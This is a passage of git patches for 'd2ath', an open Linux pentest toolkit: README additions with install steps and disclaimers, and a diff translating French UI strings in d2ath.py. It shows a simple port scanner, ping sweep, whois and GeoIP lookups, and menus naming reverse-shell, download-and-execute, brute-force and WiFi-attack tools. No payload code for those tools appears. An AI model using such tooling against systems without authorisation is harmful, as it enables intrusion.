+ C.GRAY + " ██╔═══██╗╚██╗ ██╔╝██╔══██╗██╔════╝██╔══██╗ ║" + C.RESET,
+ C.WHITE + " ║ ██████╔╝ ╚████╔╝ ██████╔╝█████╗ ██████╔╝ ║" + C.RESET,
+ C.GRAY + " ║ ██╔═══╝ ╚██╔╝ ██╔══██╗██╔══╝ ██╔══██╗ ║" + C.RESET,
+ C.WHITE + " ║ ██║ ██║ ██████╔╝███████╗██║ ██║ ║" + C.RESET,
+ C.GRAY + " ╚═╝ ╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝ ║" + C.RESET,
+ C.WHITE + " ║ ║" + C.RESET,
+ C.GRAY + " ║ [1] RECON [2] NETWORK [3] CRYPTO ║" + C.RESET,
+ C.WHITE + " ║ [4] SYSTEM [5] EXPLOIT [6] AUDIT ║" + C.RESET,
+ C.GRAY + " ╚════════════════════════════════════════════════════════════╝" + C.RESET,
]
LOGO = [
From ba31a42dffef1c5e80f0f8339e61f6a029277dd0 Mon Sep 17 00:00:00 2001
From: Oriononwz
Date: Fri, 10 Apr 2026 17:13:25 +0200
Subject: [PATCH 4/5] Fix: duplicate line in main README
---
README.md | 212 +++++++++++++++++++++++++++++++++++++++++++++++++++++-
1 file changed, 210 insertions(+), 2 deletions(-)
diff --git a/README.md b/README.md
index f6dfc5c..787e4f9 100644
--- a/README.md
+++ b/README.md
@@ -1,12 +1,18 @@
# d2ath - Security Framework
```
-██████╗ ███████╗███████╗██╗ ██╗ █████╗ ██╗ ██╗ ███████╗███████╗
+ ██████╗ ███████╗███████╗██╗ ██╗ █████╗ ██╗ ██╗ ███████╗███████╗
██╔══██╗██╔════╝██╔════╝██║ ██║██╔══██╗██║ ██║ ██╔════╝██╔════╝
-██████╔╝█████╗ █████╗ ██║ █╗ ██║███████║██║ ██║ █████╗ ███████╗
+█████╔╝█████╗ █████╗ ██║ █╗ ██║███████║██║ ██║ █████╗ ███████╗
██╔══██╗██╔══╝ ██╔══╝ ██║███╗██║██╔══██║██║ ██║ ██╔══╝ ╚════██║
██║ ██║███████╗███████╗╚███╔███╔╝██║ ██║███████╗███████╗███████╗███████║
╚═╝ ╚═╝╚══════╝╚══════╝ ╚══╝╚══╝ ╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝╚══════╝
+ ██████╗ ███████╗ █████╗ ██████╗ ██████╗ ██╗ ██╗██████╗
+ ██╔══██╗██╔════╝██╔══██╗██╔══██╗ ██╔══██╗╚██╗ ██╔╝██╔══██╗
+ ██║ ██║█████╗ ███████║██████╔╝ ██████╔╝ ╚████╔╝ ██████╔╝
+ ██║ ██║██╔══╝ ██╔══██║██╔══██╗ ██╔══██╗ ╚██╔╝ ██╔══██╗
+ ██████╔╝███████╗██║ ██║██║ ██║ ██████╔╝ ██║ ██████╔╝
+ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═════╝
```
@@ -20,6 +26,208 @@
All-in-one offensive and defensive security framework for Linux.
+---
+
+## ⚠️ Disclaimer
+
+> **IMPORTANT**: This project is provided for **educational purposes only**.
+> The author **declines any responsibility** for misuse of this tool.
+> Any unauthorized action without explicit consent is **illegal**.
+
+---
+
+## 📋 Table of Contents
+
+- [Features](#-features)
+- [Installation](#-installation)
+- [Screenshots](#-screenshots)
+- [Structure](#-structure)
+- [Requirements](#-requirements)
+- [License](#-license)
+- [Translations](#translations)
+
+---
+
+## 🔧 Features
+
+### 📁 Categories
+
+| Category | Description |
+|----------|-------------|
+| **Reconnaissance** | Port scan, ping scan, DNS lookup, Whois, GeoIP, Traceroute |
+| **Network** | My IP, Local IP, Netdiscover, Wireshark, Ping, Port check |
+| **Cryptography** | Password generator, Hash (MD5, SHA256), Base64, URL encode/decode |
+| **System** | System info, File explorer |
+| **Exploitation** | Reverse Shell, Encoder/Decoder payloads, HTTP server, Download & Execute, Metasploit |
+| **Audit** | Nmap, Masscan, Aircrack-ng, Nikto, Hydra, John the Ripper, Hashcat, SQLMap |
+
+### 🛠️ Integrated Tools
+
+- **Port Scanner** - Fast scan of open ports
+- **Ping Scan** - Discover active hosts on a network
+- **DNS Lookup** - DNS resolution and reverse lookup
+- **GeoIP** - Geographic location of an IP address
+- **Netdiscover** - ARP scan of local network
+- **Wireshark** - Network packet analyzer (tshark/tcpdump)
+- **Nmap** - Advanced port scanner
+- **Aircrack-ng** - WiFi attack suite
+- **Hydra** - Brute force attack on login services
+- **SQLMap** - Detection and exploitation of SQL injections
+- **And more...**
+
+---
+
+## 💻 Installation
+
+```bash
+# Clone repository
+git clone https://github.com/s1d9e/d2ath.git
+
+# Enter directory
+cd d2ath
+
+# Make executable
+chmod +x d2ath.py
+
+# Run
+python3 d2ath.py
+```
+
+### Dependencies (auto-installed if missing)
+
+```bash
+# Ubuntu / Debian
+sudo apt update
+sudo apt install python3 python3-pip whois curl nmap masscan netdiscover wireshark tshark tcpdump nikto hydra john sqlmap
+
+# Arch Linux
+sudo pacman -S python python-pip whois nmap masscan netdiscover wireshark-cli tcpdump nikto hydra john sqlmap
+
+# Fedora
+sudo dnf install python3 python3-pip nmap masscan netdiscover wireshark-cli tcpdump nikto hydra john sqlmap
+```
+
+---
+
+## 📷 Screenshot
+
+```
+ ██████╗ ██████╗ ███╗ ██╗███████╗ ██████╗ ██╗ ███████╗███████╗
+ ██╔════╝██╔═══██╗████╗ ██║██╔════╝██╔═══██╗██║ ██╔════╝██╔════╝
+ ██║ ██║ ██║██╔██╗ ██║███████╗██║ ██║██║ █████╗ ███████╗
+ ██║ ██║ ██║██║╚██╗██║╚════██║██║ ██║██║ ██╔══╝ ╚════██║
+ ╚██████╗╚██████╔╝██║ ╚████║███████║╚██████╔╝███████╗███████╗███████║
+ ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝ ╚═════╝ ╚══════╝╚══════╝╚══════╝
+ v2.0
+
+ ╔════════════════════════════════════════════════════════════╗
+ ║ d2ath - Security Framework ║
+ ║ Offensive & Defensive Security Toolkit ║
+ ║ ║
+ ║ ██████╗ ██╗ ██╗██████╗ ███████╗██████╗ ║
+ ██╔═══██╗╚██╗ ██╔╝██╔══██╗██╔════╝██╔══██╗ ║
+ ║ ██████╔╝ ╚████╔╝ ██████╔╝█████╗ ██████╔╝ ║
+ ║ ██╔═══╝ ╚██╔╝ ██╔══██╗██╔══╝ ██╔══██╗ ║
+ ║ ██║ ██║ ██████╔╝███████╗██║ ██║ ║
+ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝ ║
+ ║ ║
+ ║ [1] RECON [2] NETWORK [3] CRYPTO ║
+ ║ [4] SYSTEM [5] EXPLOIT [6] AUDIT ║
+ ╚════════════════════════════════════════════════════════════╝
+
+ ┌─────────────────────────────────────────┐
+ │ SELECT A CATEGORY │
+ └─────────────────────────────────────────┘
+
+ ┌─[ 1 ] ▸ RECONNAISSANCE
+ └─────────────────────────────────────────────╜
+ ┌─[ 2 ] ▸ NETWORK
+ └─────────────────────────────────────────────╜
+ ┌─[ 3 ] ▸ CRYPTOGRAPHY
+ └─────────────────────────────────────────────╜
+ ┌─[ 4 ] ▸ SYSTEM
+ └─────────────────────────────────────────────╜
+ ┌─[ 5 ] ▸ EXPLOITATION
+ └─────────────────────────────────────────────╜
+ ┌─[ 6 ] ▸ AUDIT
+ └─────────────────────────────────────────────╜
+
+ ┌─[ q ] Quit
+ └────────────────────╜
+```
+
+---
+
+## 📂 Structure
+
+```
+d2ath/
+├── d2ath.py # Main script
+├── README.md # English (main)
+├── README_FR.md # French
+├── README_ES.md # Spanish
+├── README_DE.md # German
+├── LICENSE # MIT License
+└── .github/
+ └── workflows/
+ └── lint.yml
+```
+
+---
+
+## 📌 Requirements
+
+- **Python 3.8+**
+- **OS**: Linux (optimized for Kali, Ubuntu, Debian, Arch)
+- **Permissions**: root/sudo required for some tools (netdiscover, aircrack-ng, nmap)
+
+---
+
+## ⚠️ Legal Disclaimer
+
+**This program is intended for:**
+- ✅ Authorized penetration testing
+- ✅ Educational computer security
+- ✅ Personal use on your own systems
+- ✅ Cybersecurity research
+
+**This program must NOT be used for:**
+- ❌ Unauthorized system access
+- ❌ Illegal or malicious activities
+- ❌ Any other unethical or illegal use
+
+**The author cannot be held responsible for any inappropriate use.**
+
+---
+
+## 📄 License
+
+This project is licensed under the **MIT License**. See [LICENSE](LICENSE) for details.
+
+---
+
+## 🌐 Translations
+
+- [English](README.md) (Main)
+- [Français](README_FR.md)
+- [Español](README_ES.md)
+- [Deutsch](README_DE.md)
+
+---
+
+
+ Made with ❤️ by s1d9e
+
+
+
+
+
+
+
+
+ All-in-one offensive and defensive security framework for Linux.
+
+
All-in-one offensive and defensive security framework for Linux.
From 2c984370c97bdc1d8eb2d39e016c3924c740361c Mon Sep 17 00:00:00 2001
From: Oriononwz
Date: Fri, 10 Apr 2026 17:38:07 +0200
Subject: [PATCH 5/5] chore: convert all French text to English
---
banner.txt | 27 +--
d2ath.py | 630 ++++++++++++++++++++++++++---------------------------
2 files changed, 314 insertions(+), 343 deletions(-)
diff --git a/banner.txt b/banner.txt
index ca696c3..bdd6936 100644
--- a/banner.txt
+++ b/banner.txt
@@ -1,28 +1,13 @@
-██████╗ ███████╗███████╗██╗ ██╗ █████╗ ██╗ ██╗ ███████╗███████╗
+ d2ath v2.0 - Security Framework
+ ██████╗ ███████╗███████╗██╗ ██╗ █████╗ ██╗ ██╗ ███████╗███████╗
██╔══██╗██╔════╝██╔════╝██║ ██║██╔══██╗██║ ██║ ██╔════╝██╔════╝
██████╔╝█████╗ █████╗ ██║ █╗ ██║███████║██║ ██║ █████╗ ███████╗
██╔══██╗██╔══╝ ██╔══╝ ██║███╗██║██╔══██║██║ ██║ ██╔══╝ ╚════██║
██║ ██║███████╗███████╗╚███╔███╔╝██║ ██║███████╗███████╗███████╗███████║
╚═╝ ╚═╝╚══════╝╚══════╝ ╚══╝╚══╝ ╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝╚══════╝
- ██████╗ ███████╗ █████╗ ██████╗
- ██╔══██╗██╔════╝██╔══██╗██╔══██╗
- ██║ ██║█████╗ ███████║██████╔╝
- ██║ ██║██╔══╝ ██╔══██║██╔══██╗
- ██████╔╝███████╗██║ ██║██║ ██║
- ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝
+ [1] RECON [2] NETWORK [3] CRYPTO
+ [4] SYSTEM [5] EXPLOIT [6] AUDIT
- ██████╗ ██╗ ██╗██████╗ ███████╗██████╗ ██████╗ ██╗ ██╗██████╗
- ██╔═══██╗╚██╗ ██╔╝██╔══██╗██╔════╝██╔══██╗ ██╔══██╗╚██╗ ██╔╝██╔══██╗
- ██████╔╝ ╚████╔╝ ██████╔╝█████╗ ██████╔╝ ██████╔╝ ╚████╔╝ ██████╔╝
- ██╔═══╝ ╚██╔╝ ██╔══██╗██╔══╝ ██╔══██╗ ██╔══██╗ ╚██╔╝ ██╔══██╗
- ██║ ██║ ██████╔╝███████╗██║ ██║ ██████╔╝ ██║ ██████╔╝
- ╚═╝ ╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═════╝
-
-
- [1] RECON [2] NETWORK [3] CRYPTO
- [4] SYSTEM [5] EXPLOIT [6] AUDIT
- [q] Quit
-
- v2.0 | Offensive & Defensive Security Toolkit
- https://github.com/s1d9e/d2ath
\ No newline at end of file
+ Offensive & Defensive Security Toolkit
+ https://github.com/s1d9e/d2ath
\ No newline at end of file
diff --git a/d2ath.py b/d2ath.py
index 9abe4a2..746e5b9 100644
--- a/d2ath.py
+++ b/d2ath.py
@@ -28,30 +28,21 @@ class C:
BOLD = "\033[1m"
TITLE = [
- C.WHITE + " ██████╗ ██████╗ ███╗ ██╗███████╗ ██████╗ ██╗ ███████╗███████╗" + C.RESET,
- C.GRAY + " ██╔════╝██╔═══██╗████╗ ██║██╔════╝██╔═══██╗██║ ██╔════╝██╔════╝" + C.RESET,
- C.WHITE + " ██║ ██║ ██║██╔██╗ ██║███████╗██║ ██║██║ █████╗ ███████╗" + C.RESET,
- C.GRAY + " ██║ ██║ ██║██║╚██╗██║╚════██║██║ ██║██║ ██╔══╝ ╚════██║" + C.RESET,
- C.WHITE + " ╚██████╗╚██████╔╝██║ ╚████║███████║╚██████╔╝███████╗███████╗███████║" + C.RESET,
- C.GRAY + " ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝ ╚═════╝ ╚══════╝╚══════╝╚══════╝" + C.RESET,
- C.WHITE + " v2.0" + C.RESET,
+ C.WHITE + " d2ath v2.0 - Security Framework " + C.RESET,
+ C.GRAY + " ██████╗ ███████╗███████╗██╗ ██╗ █████╗ ██╗ ██╗ ███████╗███████╗" + C.RESET,
+ C.WHITE + "██╔══██╗██╔════╝██╔════╝██║ ██║██╔══██╗██║ ██║ ██╔════╝██╔════╝" + C.RESET,
+ C.GRAY + "██████╔╝█████╗ █████╗ ██║ █╗ ██║███████║██║ ██║ █████╗ ███████╗" + C.RESET,
+ C.WHITE + "██╔══██╗██╔══╝ ██╔══╝ ██║███╗██║██╔══██║██║ ██║ ██╔══╝ ╚════██║" + C.RESET,
+ C.GRAY + "██║ ██║███████╗███████╗╚███╔███╔╝██║ ██║███████╗███████╗███████╗███████║" + C.RESET,
+ C.WHITE + "╚═╝ ╚═╝╚══════╝╚══════╝ ╚══╝╚══╝ ╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝╚══════╝" + C.RESET,
]
LOGO = [
- C.WHITE + " ╔════════════════════════════════════════════════════════════╗" + C.RESET,
- C.GRAY + " ║ d2ath - Security Framework ║" + C.RESET,
- C.WHITE + " ║ Offensive & Defensive Security Toolkit ║" + C.RESET,
- C.GRAY + " ║ ║" + C.RESET,
- C.WHITE + " ║ ██████╗ ██╗ ██╗██████╗ ███████╗██████╗ ║" + C.RESET,
- C.GRAY + " ██╔═══██╗╚██╗ ██╔╝██╔══██╗██╔════╝██╔══██╗ ║" + C.RESET,
- C.WHITE + " ║ ██████╔╝ ╚████╔╝ ██████╔╝█████╗ ██████╔╝ ║" + C.RESET,
- C.GRAY + " ║ ██╔═══╝ ╚██╔╝ ██╔══██╗██╔══╝ ██╔══██╗ ║" + C.RESET,
- C.WHITE + " ║ ██║ ██║ ██████╔╝███████╗██║ ██║ ║" + C.RESET,
- C.GRAY + " ╚═╝ ╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝ ║" + C.RESET,
- C.WHITE + " ║ ║" + C.RESET,
- C.GRAY + " ║ [1] RECON [2] NETWORK [3] CRYPTO ║" + C.RESET,
- C.WHITE + " ║ [4] SYSTEM [5] EXPLOIT [6] AUDIT ║" + C.RESET,
- C.GRAY + " ╚════════════════════════════════════════════════════════════╝" + C.RESET,
+ C.WHITE + " ╔═══════════════════════════════════════════════════╗" + C.RESET,
+ C.GRAY + " ║ [1] RECON [2] NETWORK [3] CRYPTO ║" + C.RESET,
+ C.WHITE + " ║ [4] SYSTEM [5] EXPLOIT [6] AUDIT ║" + C.RESET,
+ C.GRAY + " ║ [q] Quit ║" + C.RESET,
+ C.WHITE + " ╚═══════════════════════════════════════════════════╝" + C.RESET,
]
LOGO = [
@@ -91,110 +82,110 @@ def get_input(prompt):
def get_input_ip(prompt):
print(f"{C.WHITE}[?] {prompt}: {C.RESET}")
- print(f"{C.GRAY} [Entrée] = mon IP publique | Tapez l'IP manuellement{C.RESET}")
+ print(f"{C.GRAY} [Enter] = my public IP | Type IP manually{C.RESET}")
choice = input(f"{C.WHITE} └─>{C.RESET} ").strip()
if not choice:
my_ip = get_my_ip()
if my_ip:
- print(f"{C.WHITE}[*] Utilisation de mon IP: {C.WHITE}{my_ip}{C.RESET}")
+ print(f"{C.WHITE}[*] Using my IP: {C.WHITE}{my_ip}{C.RESET}")
return my_ip
else:
- print(f"{C.GRAY}[!] Impossible de récupérer mon IP{C.RESET}")
+ print(f"{C.GRAY}[!] Could not retrieve my IP{C.RESET}")
return None
if not re.match(r'^[\d.]+$', choice):
- print(f"{C.GRAY}[!] Format IP invalide{C.RESET}")
+ print(f"{C.GRAY}[!] Invalid IP format{C.RESET}")
return None
return choice
def get_input_domain(prompt):
print(f"{C.WHITE}[?] {prompt}: {C.RESET}")
- print(f"{C.GRAY} [Entrée] = mon IP publique | Tapez l'IP/Domaine{C.RESET}")
+ print(f"{C.GRAY} [Enter] = my public IP | Type IP/Domain{C.RESET}")
choice = input(f"{C.WHITE} └─>{C.RESET} ").strip()
if not choice:
my_ip = get_my_ip()
if my_ip:
- print(f"{C.WHITE}[*] Utilisation de mon IP: {C.WHITE}{my_ip}{C.RESET}")
+ print(f"{C.WHITE}[*] Using my IP: {C.WHITE}{my_ip}{C.RESET}")
return my_ip
return None
if not re.match(r'^[\w.\-]+$', choice):
- print(f"{C.GRAY}[!] Format domaine invalide{C.RESET}")
+ print(f"{C.GRAY}[!] Invalid domain format{C.RESET}")
return None
return choice
CATEGORIES = {
"1": {
- "name": "RECONNAISSANCE",
+ "name": "RECON",
"color": C.GRAY,
"tools": [
- ("Scan de ports", "ports", "Scanner les ports ouverts"),
- ("Ping Scan", "ping", "Découverte des hôtes actifs"),
- ("DNS Lookup", "dns", "Résolution DNS"),
- ("Whois", "whois", "Informations WHOIS"),
- ("GeoIP", "geoip", "Localisation IP"),
- ("Traceroute", "traceroute", "Chemin vers une IP"),
+ ("Port Scan", "ports", "Scan open ports"),
+ ("Ping Scan", "ping", "Discover active hosts"),
+ ("DNS Lookup", "dns", "DNS resolution"),
+ ("Whois", "whois", "WHOIS information"),
+ ("GeoIP", "geoip", "IP geolocation"),
+ ("Traceroute", "traceroute", "Route to IP"),
]
},
"2": {
- "name": "RÉSEAU",
+ "name": "NETWORK",
"color": C.WHITE,
"tools": [
- ("Mon IP", "myip", "Afficher mon IP publique"),
- ("IP Locale", "iplocale", "Afficher mon IP locale"),
- ("Toutes mes IPs", "allips", "Toutes mes interfaces"),
- ("Passerelle", "gateway", "Afficher gateway"),
- ("Vérifier Port", "checkport", "Vérifier si port ouvert"),
- ("Ping", "rawping", "Ping simple"),
- ("Calculatrice Réseau", "netcalc", "Calculer réseau/broadcast"),
- ("Netdiscover", "netdiscover", "Scanner le réseau local (ARP)"),
- ("Wireshark", "wireshark", "Lancer Wireshark (terminal)"),
+ ("My IP", "myip", "Show public IP"),
+ ("Local IP", "iplocale", "Show local IP"),
+ ("All IPs", "allips", "All network interfaces"),
+ ("Gateway", "gateway", "Show gateway"),
+ ("Check Port", "checkport", "Check if port is open"),
+ ("Ping", "rawping", "Simple ping"),
+ ("Network Calc", "netcalc", "Calculate network/broadcast"),
+ ("Netdiscover", "netdiscover", "Scan local network (ARP)"),
+ ("Wireshark", "wireshark", "Launch Wireshark (terminal)"),
]
},
"3": {
- "name": "CRYPTOGRAPHIE",
+ "name": "CRYPTO",
"color": C.GRAY,
"tools": [
- ("Générateur MDP", "password", "Générer un mot de passe"),
- ("Hash MD5", "md5", "Hash MD5"),
- ("Hash SHA256", "sha256", "Hash SHA256"),
- ("Hash Fichier", "filehash", "Hasher un fichier"),
- ("Base64 Encode", "b64e", "Encoder Base64"),
- ("Base64 Decode", "b64d", "Décoder Base64"),
- ("URL Encode", "urle", "Encoder URL"),
- ("URL Decode", "urld", "Décoder URL"),
+ ("Password Gen", "password", "Generate password"),
+ ("Hash MD5", "md5", "MD5 hash"),
+ ("Hash SHA256", "sha256", "SHA256 hash"),
+ ("File Hash", "filehash", "Hash a file"),
+ ("Base64 Encode", "b64e", "Base64 encode"),
+ ("Base64 Decode", "b64d", "Base64 decode"),
+ ("URL Encode", "urle", "URL encode"),
+ ("URL Decode", "urld", "URL decode"),
]
},
"4": {
- "name": "SYSTÈME",
+ "name": "SYSTEM",
"color": C.WHITE,
"tools": [
- ("Info Système", "sysinfo", "Informations système"),
- ("Liste Fichiers", "lsdir", "Lister fichiers"),
+ ("System Info", "sysinfo", "System information"),
+ ("File List", "lsdir", "List files"),
]
},
"5": {
- "name": "EXPLOITATION",
+ "name": "EXPLOIT",
"color": C.GRAY,
"tools": [
- ("Reverse Shell", "revshell", "Générer reverse shell"),
- ("Encoder Payload", "encpayload", "Encoder en Base64"),
- ("Décoder Payload", "decpayload", "Décoder Base64"),
- ("Serveur HTTP", "httpserver", "Démarrer serveur HTTP"),
- ("Download & Execute", "dllexec", "Download et execute"),
- ("Metasploit One-Liner", "msfgen", "Générer one-liner MSF"),
+ ("Reverse Shell", "revshell", "Generate reverse shell"),
+ ("Encode Payload", "encpayload", "Base64 encode"),
+ ("Decode Payload", "decpayload", "Base64 decode"),
+ ("HTTP Server", "httpserver", "Start HTTP server"),
+ ("Download & Exec", "dllexec", "Download and execute"),
+ ("Metasploit One-Liner", "msfgen", "Generate MSF one-liner"),
]
},
"6": {
"name": "AUDIT",
"color": C.GRAY,
"tools": [
- ("Nmap", "nmap", "Scanner de ports avancé"),
- ("Masscan", "masscan", "Scan massif ultra-rapide"),
- ("Aircrack-ng", "aircrack", "Suite attaque WiFi"),
- ("Nikto", "nikto", "Scanner vulnérabilités web"),
+ ("Nmap", "nmap", "Advanced port scanner"),
+ ("Masscan", "masscan", "Ultra fast mass scan"),
+ ("Aircrack-ng", "aircrack", "WiFi attack suite"),
+ ("Nikto", "nikto", "Web vulnerability scanner"),
("Hydra", "hydra", "Brute force login"),
- ("John the Ripper", "john", "Cracker mots de passe"),
- ("Hashcat", "hashcat", "Cracking GPU (hashcat)"),
- ("SQLMap", "sqlmap", "Détecter injections SQL"),
+ ("John the Ripper", "john", "Password cracker"),
+ ("Hashcat", "hashcat", "GPU cracking (hashcat)"),
+ ("SQLMap", "sqlmap", "Detect SQL injections"),
]
},
}
@@ -212,14 +203,14 @@ def print_art():
def show_categories():
print(f"{C.BOLD} ┌─────────────────────────────────────────┐{C.RESET}")
- print(f"{C.BOLD} │{C.RESET} {C.WHITE}SÉLECTIONNER UNE CATÉGORIE{C.RESET} {C.BOLD}│{C.RESET}")
+ print(f"{C.BOLD} │{C.RESET} {C.WHITE}SELECT A CATEGORY{C.RESET} {C.BOLD}│{C.RESET}")
print(f"{C.BOLD} └─────────────────────────────────────────┘{C.RESET}\n")
for key, cat in CATEGORIES.items():
print(f" {C.BOLD}┌─[{C.WHITE} {key} {C.GRAY}]{C.RESET} {cat['color']}▸ {cat['name']}{C.RESET}")
print(f" {C.GRAY}└{'─' * 45}╜{C.RESET}")
- print(f"\n {C.BOLD}┌─[{C.WHITE} q {C.GRAY}]{C.RESET} {C.WHITE}Quitter{C.RESET}")
+ print(f"\n {C.BOLD}┌─[{C.WHITE} q {C.GRAY}]{C.RESET} {C.WHITE}Quit{C.RESET}")
print(f" {C.GRAY}└{'─' * 20}╜{C.RESET}\n")
def show_tools_in_category(cat_key):
@@ -242,20 +233,20 @@ def show_tools_in_category(cat_key):
print(f" {C.GRAY}│ {desc}{C.RESET}")
print(f" {C.GRAY}└{'─' * 45}╜{C.RESET}\n")
- print(f" {C.BOLD}┌─{C.GRAY}[{C.WHITE}0{C.GRAY}]{C.RESET} {C.WHITE}← Retour{C.RESET}")
+ print(f" {C.BOLD}┌─{C.GRAY}[{C.WHITE}0{C.GRAY}]{C.RESET} {C.WHITE}< Back{C.RESET}")
print(f" {C.GRAY}└{'─' * 20}╜{C.RESET}\n")
return [t[1] for t in tools]
def pause():
- input(f"\n {C.GRAY}Appuyez sur Entrée...{C.RESET}")
+ input(f"\n {C.GRAY}Press Enter...{C.RESET}")
# ═══════════════════════════════════════════
-# RECONNAISSANCE
+# RECON
# ═══════════════════════════════════════════
def tool_ports():
clear()
- print(f"{C.GRAY}[*] Scan de ports{C.RESET}\n")
+ print(f"{C.GRAY}[*] Port scan{C.RESET}\n")
target = get_input_ip("IP cible")
if not target:
@@ -263,14 +254,14 @@ def tool_ports():
return
try:
- start = int(get_input("Port début (défaut: 1)") or "1")
- end = int(get_input("Port fin (défaut: 1024)") or "1024")
+ start = int(get_input("Start port (default: 1)") or "1")
+ end = int(get_input("End port (default: 1024)") or "1024")
except ValueError:
- print(f"{C.GRAY}[!] Ports invalides{C.RESET}")
+ print(f"{C.GRAY}[!] Invalid ports{C.RESET}")
pause()
return
- print(f"\n{C.GRAY}[*] Scan en cours sur {target}...{C.RESET}\n")
+ print(f"\n{C.GRAY}[*] Scanning on {target}...{C.RESET}\n")
open_ports = []
for port in range(start, min(end + 1, 10000)):
@@ -278,10 +269,10 @@ def tool_ports():
sock.settimeout(0.3)
if sock.connect_ex((target, port)) == 0:
open_ports.append(port)
- print(f"{C.WHITE}[+] Port {port} OUVERT{C.RESET}")
+ print(f"{C.WHITE}[+] Port {port} OPEN{C.RESET}")
sock.close()
- print(f"\n{C.WHITE}[*] {len(open_ports)} ports ouverts{C.RESET}" if open_ports else f"\n{C.GRAY}[!] Aucun port ouvert{C.RESET}")
+ print(f"\n{C.WHITE}[*] {len(open_ports)} open ports{C.RESET}" if open_ports else f"\n{C.GRAY}[!] No open ports found{C.RESET}")
pause()
TOOL_FUNCTIONS["ports"] = tool_ports
@@ -292,11 +283,11 @@ def tool_ping():
subnet = get_input("Plage IP (ex: 192.168.1)")
if not subnet:
- print(f"{C.GRAY}[!] Plage invalide{C.RESET}")
+ print(f"{C.GRAY}[!] Invalid range{C.RESET}")
pause()
return
- print(f"\n{C.GRAY}[*] Scan en cours...{C.RESET}\n")
+ print(f"\n{C.GRAY}[*] Scanning...{C.RESET}\n")
param = "-n" if sys.platform == "win32" else "-c"
for i in range(1, 255):
@@ -318,7 +309,7 @@ def tool_dns():
domain = get_input("Domaine")
if not domain:
- print(f"{C.GRAY}[!] Domaine invalide{C.RESET}")
+ print(f"{C.GRAY}[!] Invalid domain{C.RESET}")
pause()
return
@@ -329,9 +320,9 @@ def tool_dns():
hostname, _, _ = socket.gethostbyaddr(ip)
print(f"{C.WHITE}[+] Reverse: {C.WHITE}{hostname}{C.RESET}")
except socket.gaierror:
- print(f"{C.GRAY}[!] Domaine introuvable{C.RESET}")
+ print(f"{C.GRAY}[!] Domain not found{C.RESET}")
except Exception as e:
- print(f"{C.GRAY}[!] Erreur: {e}{C.RESET}")
+ print(f"{C.GRAY}[!] Error: {e}{C.RESET}")
pause()
@@ -343,22 +334,22 @@ def tool_whois():
target = get_input_ip("IP ou Domaine")
if not target:
- print(f"{C.GRAY}[!] Cible invalide{C.RESET}")
+ print(f"{C.GRAY}[!] Invalid target{C.RESET}")
pause()
return
- print(f"\n{C.GRAY}[*] Recherche WHOIS sur {target}...{C.RESET}\n")
+ print(f"\n{C.GRAY}[*] WHOIS lookup on {target}...{C.RESET}\n")
try:
result = subprocess.run(["whois", shlex.quote(target)], capture_output=True, text=True, timeout=10)
if result.stdout:
print(f"{C.WHITE}{result.stdout[:3000]}{C.RESET}")
else:
- print(f"{C.GRAY}[!] Pas d'informations disponibles{C.RESET}")
+ print(f"{C.GRAY}[!] No information available{C.RESET}")
except FileNotFoundError:
- print(f"{C.GRAY}[!] Whois non installé (apt install whois){C.RESET}")
+ print(f"{C.GRAY}[!] Whois not installed (apt install whois){C.RESET}")
except Exception as e:
- print(f"{C.GRAY}[!] Erreur: {e}{C.RESET}")
+ print(f"{C.GRAY}[!] Error: {e}{C.RESET}")
pause()
@@ -370,11 +361,11 @@ def tool_geoip():
target = get_input_ip("Adresse IP")
if not target:
- print(f"{C.GRAY}[!] IP invalide{C.RESET}")
+ print(f"{C.GRAY}[!] Invalid IP{C.RESET}")
pause()
return
- print(f"\n{C.GRAY}[*] Localisation de {target}...{C.RESET}\n")
+ print(f"\n{C.GRAY}[*] Locating {target}...{C.RESET}\n")
try:
result = subprocess.run(["curl", "-s", f"ipinfo.io/{target}/json"],
@@ -382,14 +373,14 @@ def tool_geoip():
data = json.loads(result.stdout)
if "bogon" in data:
- print(f"{C.WHITE}[!] IP privée/bogon (non traçable){C.RESET}")
+ print(f"{C.WHITE}[!] Private IP/bogon (not traceable){C.RESET}")
else:
print(f"{C.WHITE}[+] IP: {C.WHITE}{data.get('ip', target)}{C.RESET}")
print(f"{C.WHITE}[+] Hostname: {C.WHITE}{data.get('hostname', 'N/A')}{C.RESET}")
print(f"{C.WHITE}[+] Ville: {C.WHITE}{data.get('city', 'N/A')}{C.RESET}")
- print(f"{C.WHITE}[+] Région: {C.WHITE}{data.get('region', 'N/A')}{C.RESET}")
+ print(f"{C.WHITE}[+] Region: {C.WHITE}{data.get('region', 'N/A')}{C.RESET}")
print(f"{C.WHITE}[+] Pays: {C.WHITE}{data.get('country', 'N/A')}{C.RESET}")
- print(f"{C.WHITE}[+] Localisation: {C.WHITE}{data.get('loc', 'N/A')}{C.RESET}")
+ print(f"{C.WHITE}[+] Location: {C.WHITE}{data.get('loc', 'N/A')}{C.RESET}")
print(f"{C.WHITE}[+] Timezone: {C.WHITE}{data.get('timezone', 'N/A')}{C.RESET}")
print(f"{C.WHITE}[+] ASN: {C.WHITE}{data.get('org', 'N/A')}{C.RESET}")
@@ -397,7 +388,7 @@ def tool_geoip():
lat, lon = data["loc"].split(",", 1)
print(f"\n{C.GRAY} Maps: https://www.google.com/maps?q={lat},{lon}{C.RESET}")
except Exception as e:
- print(f"{C.GRAY}[!] Erreur: {e}{C.RESET}")
+ print(f"{C.GRAY}[!] Error: {e}{C.RESET}")
pause()
@@ -409,38 +400,38 @@ def tool_traceroute():
target = get_input_domain("IP ou Domaine")
if not target:
- print(f"{C.GRAY}[!] Cible invalide{C.RESET}")
+ print(f"{C.GRAY}[!] Invalid target{C.RESET}")
pause()
return
- print(f"\n{C.GRAY}[*] Traceroute vers {target}...{C.RESET}\n")
+ print(f"\n{C.GRAY}[*] Traceroute to {target}...{C.RESET}\n")
try:
